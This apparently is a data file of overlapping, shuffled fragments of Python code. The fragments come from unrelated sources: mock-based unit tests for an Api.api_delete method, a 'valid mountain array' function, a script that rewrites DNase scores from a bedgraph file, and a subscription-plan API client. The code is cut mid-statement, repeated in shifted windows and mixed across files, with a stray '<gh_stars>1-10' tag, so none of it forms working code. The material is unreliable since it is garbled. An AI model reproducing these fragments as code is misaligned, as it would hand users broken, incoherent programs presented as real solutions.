"with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called_with_id_1_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock()",
"{\"status_code\": 408} mock_api.api_delete.side_effect = ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_300_exception(self): with patch('src.Api.Api', autospec=True) as mock_api:",
"as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_id2 = Mock() mock_id2.return_value =",
"patch('src.Api.Api', autospec=True) as mock_api: todo_id = 300 mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect =",
"autospec=True) as mock_api: with self.assertRaises(TypeError): mock_api.api_delete() def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_0_exception(self): with patch('src.Api.Api', autospec=True) as mock_api:",
"patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) with self.assertRaises(AssertionError):",
"todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).has_delete_id(1) def test_method_api_delete_assert_that_response_returns_deleted_data(self): with patch('src.Api.Api',",
"mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_assert_that_response_has_status_code_200(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id",
"self.assertRaises(AssertionError): mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_once_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value",
"mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_no_parameter_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: with self.assertRaises(TypeError):",
"assert_that(response).has_delete_id(1) def test_method_api_delete_assert_that_response_returns_deleted_data(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value =",
"= 1 mock_api.api_delete.return_value = {\"delete_id\": todo_id, \"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response",
"\"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).contains_key(\"userId\", \"id\", \"title\", \"completed\") def test_method_api_delete_assert_that_not_called_exception(self): with patch('src.Api.Api',",
"mock_id = Mock() mock_id.return_value = 1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id)",
"mock_id.return_value = 1 mock_api.api_delete(mock_id) with self.assertRaises(AssertionError): mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_once_exception(self): with patch('src.Api.Api', autospec=True) as",
"requests from assertpy import assert_that from requests.exceptions import Timeout from unittest.mock import Mock,",
"def test_method_api_delete_assert_that_called_once_with_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1",
"test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_0_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 0 mock_api.api_delete.return_value = {\"status_code\": 408}",
"{\"status_code\": 408} mock_api.api_delete.side_effect = TypeError assert_that(mock_api.api_delete).raises(TypeError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_AttributeError_when_called_with_None_exception(self): with patch('src.Api.Api', autospec=True) as mock_api:",
"with self.assertRaises(Timeout): mock_class.api_delete(mock_id) def test_method_api_delete_assert_that_called_once(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock()",
"mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_assert_that_response_has_status_code_200(self): with patch('src.Api.Api',",
"with patch('src.Api.Api', autospec=True) as mock_api: todo_id = None mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect",
"\"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).has_status_code(200) def test_method_api_delete_assert_that_response_status_code_is_not_200(self): with patch('src.Api.Api', autospec=True) as mock_api:",
"mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"delete_id\": todo_id, \"deleted_data\": todos[todo_id - 1], \"status_code\":",
"test_method_api_delete_assert_that_called_once_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_id2",
"def test_method_api_delete_assert_that_response_has_status_code_200(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"delete_id\":",
"def test_method_api_delete_assert_that_called_once(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1",
"response = mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).contains_key(\"userId\", \"id\", \"title\", \"completed\") def test_method_api_delete_assert_that_not_called_exception(self): with patch('src.Api.Api', autospec=True) as",
"mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) with self.assertRaises(AssertionError): mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_once_exception(self): with",
"autospec=True) as mock_api: todo_id = \"1\" mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = TypeError"
] |
[
"true if and only if it is a valid mountain array. Recall that",
"if and only if: arr.length >= 3 There exists some i with 0",
"i break if peak_index == 0: return False for i in range(peak_index, n-1):",
"range(n-1): if arr[i] >= arr[i+1]: peak_index = i break if peak_index == 0:",
"len(arr) for i in range(n-1): if arr[i] >= arr[i+1]: peak_index = i break",
"arr[i+1]: peak_index = i break if peak_index == 0: return False for i",
"== 0: return False for i in range(peak_index, n-1): if arr[i] <= arr[i+1]:",
"of integers arr, return true if and only if it is a valid",
"> ... > arr[arr.length - 1] \"\"\" from typing import List def validMountainArray(arr:",
"0 n = len(arr) for i in range(n-1): if arr[i] >= arr[i+1]: peak_index",
"Given an array of integers arr, return true if and only if it",
"break if peak_index == 0: return False for i in range(peak_index, n-1): if",
"valid mountain array. Recall that arr is a mountain array if and only",
"Recall that arr is a mountain array if and only if: arr.length >=",
"> arr[i + 1] > ... > arr[arr.length - 1] \"\"\" from typing",
"validMountainArray(arr: List[int]) -> bool: if len(arr) < 3: return False peak_index = 0",
"and only if: arr.length >= 3 There exists some i with 0 <",
"if arr[i] >= arr[i+1]: peak_index = i break if peak_index == 0: return",
"... > arr[arr.length - 1] \"\"\" from typing import List def validMountainArray(arr: List[int])",
"There exists some i with 0 < i < arr.length - 1 such",
"bool: if len(arr) < 3: return False peak_index = 0 n = len(arr)",
"arr[i] arr[i] > arr[i + 1] > ... > arr[arr.length - 1] \"\"\"",
"array of integers arr, return true if and only if it is a",
"< 3: return False peak_index = 0 n = len(arr) for i in",
"i with 0 < i < arr.length - 1 such that: arr[0] <",
"with 0 < i < arr.length - 1 such that: arr[0] < arr[1]",
"List[int]) -> bool: if len(arr) < 3: return False peak_index = 0 n",
"- 1 such that: arr[0] < arr[1] < ... < arr[i - 1]",
"0 < i < arr.length - 1 such that: arr[0] < arr[1] <",
"> arr[arr.length - 1] \"\"\" from typing import List def validMountainArray(arr: List[int]) ->",
"exists some i with 0 < i < arr.length - 1 such that:",
"\"\"\" from typing import List def validMountainArray(arr: List[int]) -> bool: if len(arr) <",
"is a mountain array if and only if: arr.length >= 3 There exists",
"-> bool: if len(arr) < 3: return False peak_index = 0 n =",
"def validMountainArray(arr: List[int]) -> bool: if len(arr) < 3: return False peak_index =",
"< i < arr.length - 1 such that: arr[0] < arr[1] < ...",
"typing import List def validMountainArray(arr: List[int]) -> bool: if len(arr) < 3: return",
"if peak_index == 0: return False for i in range(peak_index, n-1): if arr[i]",
"1] \"\"\" from typing import List def validMountainArray(arr: List[int]) -> bool: if len(arr)",
"False for i in range(peak_index, n-1): if arr[i] <= arr[i+1]: return False return",
"- 1] \"\"\" from typing import List def validMountainArray(arr: List[int]) -> bool: if",
"if it is a valid mountain array. Recall that arr is a mountain",
"arr[i - 1] < arr[i] arr[i] > arr[i + 1] > ... >",
"arr.length - 1 such that: arr[0] < arr[1] < ... < arr[i -",
"if len(arr) < 3: return False peak_index = 0 n = len(arr) for",
"an array of integers arr, return true if and only if it is",
"1] < arr[i] arr[i] > arr[i + 1] > ... > arr[arr.length -",
"some i with 0 < i < arr.length - 1 such that: arr[0]",
"return False for i in range(peak_index, n-1): if arr[i] <= arr[i+1]: return False",
"only if: arr.length >= 3 There exists some i with 0 < i",
"arr.length >= 3 There exists some i with 0 < i < arr.length",
"False peak_index = 0 n = len(arr) for i in range(n-1): if arr[i]",
"0: return False for i in range(peak_index, n-1): if arr[i] <= arr[i+1]: return",
"< arr.length - 1 such that: arr[0] < arr[1] < ... < arr[i",
"mountain array if and only if: arr.length >= 3 There exists some i",
"if: arr.length >= 3 There exists some i with 0 < i <",
"arr[i] >= arr[i+1]: peak_index = i break if peak_index == 0: return False",
"= i break if peak_index == 0: return False for i in range(peak_index,",
"peak_index == 0: return False for i in range(peak_index, n-1): if arr[i] <=",
"peak_index = 0 n = len(arr) for i in range(n-1): if arr[i] >=",
"len(arr) < 3: return False peak_index = 0 n = len(arr) for i",
"arr[i] > arr[i + 1] > ... > arr[arr.length - 1] \"\"\" from",
"1 such that: arr[0] < arr[1] < ... < arr[i - 1] <",
"in range(n-1): if arr[i] >= arr[i+1]: peak_index = i break if peak_index ==",
"for i in range(n-1): if arr[i] >= arr[i+1]: peak_index = i break if",
"List def validMountainArray(arr: List[int]) -> bool: if len(arr) < 3: return False peak_index",
"arr, return true if and only if it is a valid mountain array.",
"is a valid mountain array. Recall that arr is a mountain array if",
"1] > ... > arr[arr.length - 1] \"\"\" from typing import List def",
"from typing import List def validMountainArray(arr: List[int]) -> bool: if len(arr) < 3:",
"that arr is a mountain array if and only if: arr.length >= 3",
"\"\"\" Given an array of integers arr, return true if and only if",
"arr[0] < arr[1] < ... < arr[i - 1] < arr[i] arr[i] >",
"< arr[i] arr[i] > arr[i + 1] > ... > arr[arr.length - 1]",
"... < arr[i - 1] < arr[i] arr[i] > arr[i + 1] >",
"array. Recall that arr is a mountain array if and only if: arr.length",
"n = len(arr) for i in range(n-1): if arr[i] >= arr[i+1]: peak_index =",
"import List def validMountainArray(arr: List[int]) -> bool: if len(arr) < 3: return False",
"< arr[1] < ... < arr[i - 1] < arr[i] arr[i] > arr[i",
"return False peak_index = 0 n = len(arr) for i in range(n-1): if",
"such that: arr[0] < arr[1] < ... < arr[i - 1] < arr[i]",
"only if it is a valid mountain array. Recall that arr is a",
"< ... < arr[i - 1] < arr[i] arr[i] > arr[i + 1]",
"a valid mountain array. Recall that arr is a mountain array if and",
"integers arr, return true if and only if it is a valid mountain",
"return true if and only if it is a valid mountain array. Recall",
"3 There exists some i with 0 < i < arr.length - 1",
"mountain array. Recall that arr is a mountain array if and only if:",
"arr is a mountain array if and only if: arr.length >= 3 There",
"and only if it is a valid mountain array. Recall that arr is",
"i < arr.length - 1 such that: arr[0] < arr[1] < ... <",
"3: return False peak_index = 0 n = len(arr) for i in range(n-1):",
"for i in range(peak_index, n-1): if arr[i] <= arr[i+1]: return False return True",
"= 0 n = len(arr) for i in range(n-1): if arr[i] >= arr[i+1]:",
"arr[arr.length - 1] \"\"\" from typing import List def validMountainArray(arr: List[int]) -> bool:",
"= len(arr) for i in range(n-1): if arr[i] >= arr[i+1]: peak_index = i",
"it is a valid mountain array. Recall that arr is a mountain array",
"i in range(n-1): if arr[i] >= arr[i+1]: peak_index = i break if peak_index",
">= arr[i+1]: peak_index = i break if peak_index == 0: return False for",
"peak_index = i break if peak_index == 0: return False for i in",
">= 3 There exists some i with 0 < i < arr.length -",
"+ 1] > ... > arr[arr.length - 1] \"\"\" from typing import List",
"that: arr[0] < arr[1] < ... < arr[i - 1] < arr[i] arr[i]",
"- 1] < arr[i] arr[i] > arr[i + 1] > ... > arr[arr.length",
"array if and only if: arr.length >= 3 There exists some i with",
"a mountain array if and only if: arr.length >= 3 There exists some",
"arr[1] < ... < arr[i - 1] < arr[i] arr[i] > arr[i +",
"< arr[i - 1] < arr[i] arr[i] > arr[i + 1] > ...",
"arr[i + 1] > ... > arr[arr.length - 1] \"\"\" from typing import",
"if and only if it is a valid mountain array. Recall that arr"
] |
[
"len(inpl): break else: break if i == len(inpl): break cnt += 1 for",
"DNASE score. ''' import sys bed = open(sys.argv[1]) inp = open(sys.argv[2]) out =",
"bed.readlines() for i in xrange(len(bedl)): bedl[i] = bedl[i].split() for i in xrange(len(inpl)): inpl[i]",
"print('Length of ' + sys.argv[1] + ': ' + str(len(bedl))) print('Length of '",
"i == len(inpl): break cnt += 1 for j in range(i, len(inpl)): elem",
"while True: elem = inpl[i] if int(elem[1]) <= high: line += str(elem[0]) +",
"line += str(elem[0]) + '\\t' + str(elem[1]) + '\\t' + str(elem[2]) + '\\t'",
"0 i = 0 line = '' for el in bedl: low =",
"inpl[i].split() print('Length of ' + sys.argv[1] + ': ' + str(len(bedl))) print('Length of",
"low = int(el[1]) high = int(el[2]) dnase = el[3] while True: elem =",
"high = int(el[2]) dnase = el[3] while True: elem = inpl[i] if int(elem[1])",
"= bedl[i].split() for i in xrange(len(inpl)): inpl[i] = inpl[i].split() print('Length of ' +",
"'\\t' + str(elem[2]) + '\\t' + str(elem[3]) + '\\t' + str(elem[4]) + '\\t'",
"else: break if i == len(inpl): break cnt += 1 for j in",
"cnt = 0 i = 0 line = '' for el in bedl:",
"bedgraph_file.bedgraph dataset.dat output.dat modify the DNASE score. ''' import sys bed = open(sys.argv[1])",
"len(inpl): break cnt += 1 for j in range(i, len(inpl)): elem = inpl[j]",
"inpl[i] if int(elem[1]) <= high: line += str(elem[0]) + '\\t' + str(elem[1]) +",
"= inpl[i] if int(elem[1]) <= high: line += str(elem[0]) + '\\t' + str(elem[1])",
"1 if i == len(inpl): break else: break if i == len(inpl): break",
"+ str(elem[4]) + '\\t' + '0' + '\\t' + str(elem[6]) + '\\n' out.write(line)",
"line = '' for el in bedl: low = int(el[1]) high = int(el[2])",
"str(elem[3]) + '\\t' + str(elem[4]) + '\\t' + '0' + '\\t' + str(elem[6])",
"usage: python mod_dnase_score.py bedgraph_file.bedgraph dataset.dat output.dat modify the DNASE score. ''' import sys",
"str(elem[4]) + '\\t' + str(dnase) + '\\t' + str(elem[6]) + '\\n' i +=",
"str(elem[2]) + '\\t' + str(elem[3]) + '\\t' + str(elem[4]) + '\\t' + str(dnase)",
"el in bedl: low = int(el[1]) high = int(el[2]) dnase = el[3] while",
"for i in xrange(len(bedl)): bedl[i] = bedl[i].split() for i in xrange(len(inpl)): inpl[i] =",
"print('Length of ' + sys.argv[2] + ': ' + str(len(inpl))) cnt = 0",
"1 for j in range(i, len(inpl)): elem = inpl[j] line += str(elem[0]) +",
"of ' + sys.argv[2] + ': ' + str(len(inpl))) cnt = 0 i",
"+ str(elem[6]) + '\\n' out.write(line) print('Length of ' + sys.argv[3] + ': '",
"open(sys.argv[3], 'w') inpl = inp.readlines() bedl = bed.readlines() for i in xrange(len(bedl)): bedl[i]",
"elem = inpl[j] line += str(elem[0]) + '\\t' + str(elem[1]) + '\\t' +",
"if i == len(inpl): break cnt += 1 for j in range(i, len(inpl)):",
"+ '\\n' i += 1 if i == len(inpl): break else: break if",
"i = 0 line = '' for el in bedl: low = int(el[1])",
"str(elem[2]) + '\\t' + str(elem[3]) + '\\t' + str(elem[4]) + '\\t' + '0'",
"xrange(len(inpl)): inpl[i] = inpl[i].split() print('Length of ' + sys.argv[1] + ': ' +",
"bedl = bed.readlines() for i in xrange(len(bedl)): bedl[i] = bedl[i].split() for i in",
"str(elem[0]) + '\\t' + str(elem[1]) + '\\t' + str(elem[2]) + '\\t' + str(elem[3])",
"print('Length of ' + sys.argv[3] + ': ' + str(line.count('\\n'))) inp.close() bed.close() out.close()",
"'' for el in bedl: low = int(el[1]) high = int(el[2]) dnase =",
"<= high: line += str(elem[0]) + '\\t' + str(elem[1]) + '\\t' + str(elem[2])",
"inpl[i] = inpl[i].split() print('Length of ' + sys.argv[1] + ': ' + str(len(bedl)))",
"range(i, len(inpl)): elem = inpl[j] line += str(elem[0]) + '\\t' + str(elem[1]) +",
"break cnt += 1 for j in range(i, len(inpl)): elem = inpl[j] line",
"str(elem[3]) + '\\t' + str(elem[4]) + '\\t' + str(dnase) + '\\t' + str(elem[6])",
"i += 1 if i == len(inpl): break else: break if i ==",
"str(elem[6]) + '\\n' out.write(line) print('Length of ' + sys.argv[3] + ': ' +",
"+ '\\n' out.write(line) print('Length of ' + sys.argv[3] + ': ' + str(line.count('\\n')))",
"int(elem[1]) <= high: line += str(elem[0]) + '\\t' + str(elem[1]) + '\\t' +",
"cnt += 1 for j in range(i, len(inpl)): elem = inpl[j] line +=",
"+ '\\t' + '0' + '\\t' + str(elem[6]) + '\\n' out.write(line) print('Length of",
"'\\t' + str(elem[1]) + '\\t' + str(elem[2]) + '\\t' + str(elem[3]) + '\\t'",
"= inpl[j] line += str(elem[0]) + '\\t' + str(elem[1]) + '\\t' + str(elem[2])",
"= el[3] while True: elem = inpl[i] if int(elem[1]) <= high: line +=",
"len(inpl)): elem = inpl[j] line += str(elem[0]) + '\\t' + str(elem[1]) + '\\t'",
"= int(el[2]) dnase = el[3] while True: elem = inpl[i] if int(elem[1]) <=",
"= open(sys.argv[2]) out = open(sys.argv[3], 'w') inpl = inp.readlines() bedl = bed.readlines() for",
"= 0 line = '' for el in bedl: low = int(el[1]) high",
"inp = open(sys.argv[2]) out = open(sys.argv[3], 'w') inpl = inp.readlines() bedl = bed.readlines()",
"'0' + '\\t' + str(elem[6]) + '\\n' out.write(line) print('Length of ' + sys.argv[3]",
"el[3] while True: elem = inpl[i] if int(elem[1]) <= high: line += str(elem[0])",
"= '' for el in bedl: low = int(el[1]) high = int(el[2]) dnase",
"elem = inpl[i] if int(elem[1]) <= high: line += str(elem[0]) + '\\t' +",
"+ str(elem[1]) + '\\t' + str(elem[2]) + '\\t' + str(elem[3]) + '\\t' +",
"in range(i, len(inpl)): elem = inpl[j] line += str(elem[0]) + '\\t' + str(elem[1])",
"<gh_stars>1-10 ''' mod_dnase_score.py usage: python mod_dnase_score.py bedgraph_file.bedgraph dataset.dat output.dat modify the DNASE score.",
"+ str(elem[3]) + '\\t' + str(elem[4]) + '\\t' + '0' + '\\t' +",
"break if i == len(inpl): break cnt += 1 for j in range(i,",
"mod_dnase_score.py usage: python mod_dnase_score.py bedgraph_file.bedgraph dataset.dat output.dat modify the DNASE score. ''' import",
"int(el[2]) dnase = el[3] while True: elem = inpl[i] if int(elem[1]) <= high:",
"= inpl[i].split() print('Length of ' + sys.argv[1] + ': ' + str(len(bedl))) print('Length",
"+ '\\t' + str(elem[3]) + '\\t' + str(elem[4]) + '\\t' + '0' +",
"inpl = inp.readlines() bedl = bed.readlines() for i in xrange(len(bedl)): bedl[i] = bedl[i].split()",
"bedl[i].split() for i in xrange(len(inpl)): inpl[i] = inpl[i].split() print('Length of ' + sys.argv[1]",
"''' mod_dnase_score.py usage: python mod_dnase_score.py bedgraph_file.bedgraph dataset.dat output.dat modify the DNASE score. '''",
"open(sys.argv[2]) out = open(sys.argv[3], 'w') inpl = inp.readlines() bedl = bed.readlines() for i",
"xrange(len(bedl)): bedl[i] = bedl[i].split() for i in xrange(len(inpl)): inpl[i] = inpl[i].split() print('Length of",
"int(el[1]) high = int(el[2]) dnase = el[3] while True: elem = inpl[i] if",
"' + sys.argv[2] + ': ' + str(len(inpl))) cnt = 0 i =",
"str(len(inpl))) cnt = 0 i = 0 line = '' for el in",
"sys.argv[2] + ': ' + str(len(inpl))) cnt = 0 i = 0 line",
"+ str(elem[2]) + '\\t' + str(elem[3]) + '\\t' + str(elem[4]) + '\\t' +",
"= inp.readlines() bedl = bed.readlines() for i in xrange(len(bedl)): bedl[i] = bedl[i].split() for",
"= 0 i = 0 line = '' for el in bedl: low",
"str(elem[4]) + '\\t' + '0' + '\\t' + str(elem[6]) + '\\n' out.write(line) print('Length",
"+= 1 if i == len(inpl): break else: break if i == len(inpl):",
"+ str(elem[6]) + '\\n' i += 1 if i == len(inpl): break else:",
"+ ': ' + str(len(bedl))) print('Length of ' + sys.argv[2] + ': '",
"score. ''' import sys bed = open(sys.argv[1]) inp = open(sys.argv[2]) out = open(sys.argv[3],",
"python mod_dnase_score.py bedgraph_file.bedgraph dataset.dat output.dat modify the DNASE score. ''' import sys bed",
"str(len(bedl))) print('Length of ' + sys.argv[2] + ': ' + str(len(inpl))) cnt =",
"+ '\\t' + str(elem[4]) + '\\t' + str(dnase) + '\\t' + str(elem[6]) +",
"+= str(elem[0]) + '\\t' + str(elem[1]) + '\\t' + str(elem[2]) + '\\t' +",
"+ sys.argv[1] + ': ' + str(len(bedl))) print('Length of ' + sys.argv[2] +",
"output.dat modify the DNASE score. ''' import sys bed = open(sys.argv[1]) inp =",
"out = open(sys.argv[3], 'w') inpl = inp.readlines() bedl = bed.readlines() for i in",
"' + str(len(inpl))) cnt = 0 i = 0 line = '' for",
"+ str(len(inpl))) cnt = 0 i = 0 line = '' for el",
"'\\t' + str(elem[3]) + '\\t' + str(elem[4]) + '\\t' + str(dnase) + '\\t'",
"+ str(dnase) + '\\t' + str(elem[6]) + '\\n' i += 1 if i",
"out.write(line) print('Length of ' + sys.argv[3] + ': ' + str(line.count('\\n'))) inp.close() bed.close()",
"sys bed = open(sys.argv[1]) inp = open(sys.argv[2]) out = open(sys.argv[3], 'w') inpl =",
"modify the DNASE score. ''' import sys bed = open(sys.argv[1]) inp = open(sys.argv[2])",
"open(sys.argv[1]) inp = open(sys.argv[2]) out = open(sys.argv[3], 'w') inpl = inp.readlines() bedl =",
"'\\t' + str(elem[4]) + '\\t' + str(dnase) + '\\t' + str(elem[6]) + '\\n'",
"if i == len(inpl): break else: break if i == len(inpl): break cnt",
"dnase = el[3] while True: elem = inpl[i] if int(elem[1]) <= high: line",
"str(elem[1]) + '\\t' + str(elem[2]) + '\\t' + str(elem[3]) + '\\t' + str(elem[4])",
"for el in bedl: low = int(el[1]) high = int(el[2]) dnase = el[3]",
"+ '\\t' + str(elem[3]) + '\\t' + str(elem[4]) + '\\t' + str(dnase) +",
"bedl[i] = bedl[i].split() for i in xrange(len(inpl)): inpl[i] = inpl[i].split() print('Length of '",
"dataset.dat output.dat modify the DNASE score. ''' import sys bed = open(sys.argv[1]) inp",
"import sys bed = open(sys.argv[1]) inp = open(sys.argv[2]) out = open(sys.argv[3], 'w') inpl",
"if int(elem[1]) <= high: line += str(elem[0]) + '\\t' + str(elem[1]) + '\\t'",
"+ '\\t' + str(dnase) + '\\t' + str(elem[6]) + '\\n' i += 1",
"+ '0' + '\\t' + str(elem[6]) + '\\n' out.write(line) print('Length of ' +",
"' + str(len(bedl))) print('Length of ' + sys.argv[2] + ': ' + str(len(inpl)))",
"high: line += str(elem[0]) + '\\t' + str(elem[1]) + '\\t' + str(elem[2]) +",
"bed = open(sys.argv[1]) inp = open(sys.argv[2]) out = open(sys.argv[3], 'w') inpl = inp.readlines()",
"+ '\\t' + str(elem[6]) + '\\n' out.write(line) print('Length of ' + sys.argv[3] +",
"'\\t' + str(elem[3]) + '\\t' + str(elem[4]) + '\\t' + '0' + '\\t'",
"+ '\\t' + str(elem[1]) + '\\t' + str(elem[2]) + '\\t' + str(elem[3]) +",
"= bed.readlines() for i in xrange(len(bedl)): bedl[i] = bedl[i].split() for i in xrange(len(inpl)):",
"+ ': ' + str(len(inpl))) cnt = 0 i = 0 line =",
"0 line = '' for el in bedl: low = int(el[1]) high =",
"in bedl: low = int(el[1]) high = int(el[2]) dnase = el[3] while True:",
"inp.readlines() bedl = bed.readlines() for i in xrange(len(bedl)): bedl[i] = bedl[i].split() for i",
"= open(sys.argv[1]) inp = open(sys.argv[2]) out = open(sys.argv[3], 'w') inpl = inp.readlines() bedl",
"': ' + str(len(bedl))) print('Length of ' + sys.argv[2] + ': ' +",
"== len(inpl): break else: break if i == len(inpl): break cnt += 1",
"of ' + sys.argv[1] + ': ' + str(len(bedl))) print('Length of ' +",
"+= 1 for j in range(i, len(inpl)): elem = inpl[j] line += str(elem[0])",
"+ '\\t' + str(elem[2]) + '\\t' + str(elem[3]) + '\\t' + str(elem[4]) +",
"break else: break if i == len(inpl): break cnt += 1 for j",
"i == len(inpl): break else: break if i == len(inpl): break cnt +=",
"in xrange(len(bedl)): bedl[i] = bedl[i].split() for i in xrange(len(inpl)): inpl[i] = inpl[i].split() print('Length",
"+ '\\t' + str(elem[4]) + '\\t' + '0' + '\\t' + str(elem[6]) +",
"mod_dnase_score.py bedgraph_file.bedgraph dataset.dat output.dat modify the DNASE score. ''' import sys bed =",
"inpl[j] line += str(elem[0]) + '\\t' + str(elem[1]) + '\\t' + str(elem[2]) +",
"= open(sys.argv[3], 'w') inpl = inp.readlines() bedl = bed.readlines() for i in xrange(len(bedl)):",
"str(elem[6]) + '\\n' i += 1 if i == len(inpl): break else: break",
"i in xrange(len(inpl)): inpl[i] = inpl[i].split() print('Length of ' + sys.argv[1] + ':",
"+ str(elem[4]) + '\\t' + str(dnase) + '\\t' + str(elem[6]) + '\\n' i",
"bedl: low = int(el[1]) high = int(el[2]) dnase = el[3] while True: elem",
"for j in range(i, len(inpl)): elem = inpl[j] line += str(elem[0]) + '\\t'",
"the DNASE score. ''' import sys bed = open(sys.argv[1]) inp = open(sys.argv[2]) out",
"+ sys.argv[2] + ': ' + str(len(inpl))) cnt = 0 i = 0",
"'\\t' + str(elem[4]) + '\\t' + '0' + '\\t' + str(elem[6]) + '\\n'",
"in xrange(len(inpl)): inpl[i] = inpl[i].split() print('Length of ' + sys.argv[1] + ': '",
"+ str(elem[3]) + '\\t' + str(elem[4]) + '\\t' + str(dnase) + '\\t' +",
"i in xrange(len(bedl)): bedl[i] = bedl[i].split() for i in xrange(len(inpl)): inpl[i] = inpl[i].split()",
"''' import sys bed = open(sys.argv[1]) inp = open(sys.argv[2]) out = open(sys.argv[3], 'w')",
"'w') inpl = inp.readlines() bedl = bed.readlines() for i in xrange(len(bedl)): bedl[i] =",
"+ '\\t' + str(elem[6]) + '\\n' i += 1 if i == len(inpl):",
"'\\t' + '0' + '\\t' + str(elem[6]) + '\\n' out.write(line) print('Length of '",
"str(dnase) + '\\t' + str(elem[6]) + '\\n' i += 1 if i ==",
"'\\n' i += 1 if i == len(inpl): break else: break if i",
"' + sys.argv[1] + ': ' + str(len(bedl))) print('Length of ' + sys.argv[2]",
"'\\t' + str(dnase) + '\\t' + str(elem[6]) + '\\n' i += 1 if",
"sys.argv[1] + ': ' + str(len(bedl))) print('Length of ' + sys.argv[2] + ':",
"'\\t' + str(elem[6]) + '\\n' i += 1 if i == len(inpl): break",
"True: elem = inpl[i] if int(elem[1]) <= high: line += str(elem[0]) + '\\t'",
"'\\t' + str(elem[6]) + '\\n' out.write(line) print('Length of ' + sys.argv[3] + ':",
"'\\n' out.write(line) print('Length of ' + sys.argv[3] + ': ' + str(line.count('\\n'))) inp.close()",
"for i in xrange(len(inpl)): inpl[i] = inpl[i].split() print('Length of ' + sys.argv[1] +",
"= int(el[1]) high = int(el[2]) dnase = el[3] while True: elem = inpl[i]",
"j in range(i, len(inpl)): elem = inpl[j] line += str(elem[0]) + '\\t' +",
"+ str(len(bedl))) print('Length of ' + sys.argv[2] + ': ' + str(len(inpl))) cnt",
"== len(inpl): break cnt += 1 for j in range(i, len(inpl)): elem =",
"': ' + str(len(inpl))) cnt = 0 i = 0 line = ''"
] |
[
"ActionContext @dataclasses.dataclass class LambdaAction(Action): delegate: t.Callable[[ActionContext], None] def execute(self, context: ActionContext) -> None:",
"dataclasses import typing as t from craftr.core.base import Action, ActionContext @dataclasses.dataclass class LambdaAction(Action):",
"import dataclasses import typing as t from craftr.core.base import Action, ActionContext @dataclasses.dataclass class",
"craftr.core.base import Action, ActionContext @dataclasses.dataclass class LambdaAction(Action): delegate: t.Callable[[ActionContext], None] def execute(self, context:",
"import Action, ActionContext @dataclasses.dataclass class LambdaAction(Action): delegate: t.Callable[[ActionContext], None] def execute(self, context: ActionContext)",
"@dataclasses.dataclass class LambdaAction(Action): delegate: t.Callable[[ActionContext], None] def execute(self, context: ActionContext) -> None: self.delegate(context)",
"t from craftr.core.base import Action, ActionContext @dataclasses.dataclass class LambdaAction(Action): delegate: t.Callable[[ActionContext], None] def",
"from craftr.core.base import Action, ActionContext @dataclasses.dataclass class LambdaAction(Action): delegate: t.Callable[[ActionContext], None] def execute(self,",
"as t from craftr.core.base import Action, ActionContext @dataclasses.dataclass class LambdaAction(Action): delegate: t.Callable[[ActionContext], None]",
"typing as t from craftr.core.base import Action, ActionContext @dataclasses.dataclass class LambdaAction(Action): delegate: t.Callable[[ActionContext],",
"Action, ActionContext @dataclasses.dataclass class LambdaAction(Action): delegate: t.Callable[[ActionContext], None] def execute(self, context: ActionContext) ->",
"import typing as t from craftr.core.base import Action, ActionContext @dataclasses.dataclass class LambdaAction(Action): delegate:"
] |
[
"else: print(\"Returning from cache : \" + cache_key) # Filter Plan def get_price_by_plan_code(self,",
"[] addon = Addon() response = self.client.get_from_cache(cache_key) if response is None: list_of_plan_uri =",
"result = self.client.send_request(\"GET\", plan_by_plan_code) if type(result) is HTTPError: result_bytes = result.response._content result_dict =",
"plan_by_plan_code = 'plans/%s' % plan_code result = self.client.send_request(\"GET\", plan_by_plan_code) if type(result) is HTTPError:",
"= 'plans' result = self.client.send_request(\"GET\", list_of_plan_uri) response = result['plans'] self.client.add_to_cache(cache_key, response) if filters",
"initializing\") class Plan: add_on_types = ['recurring', 'one_time', ] def __init__(self, config=None): if config",
"# if with_add_ons in add_on_type: # return None else: print(\"Returning from cache :",
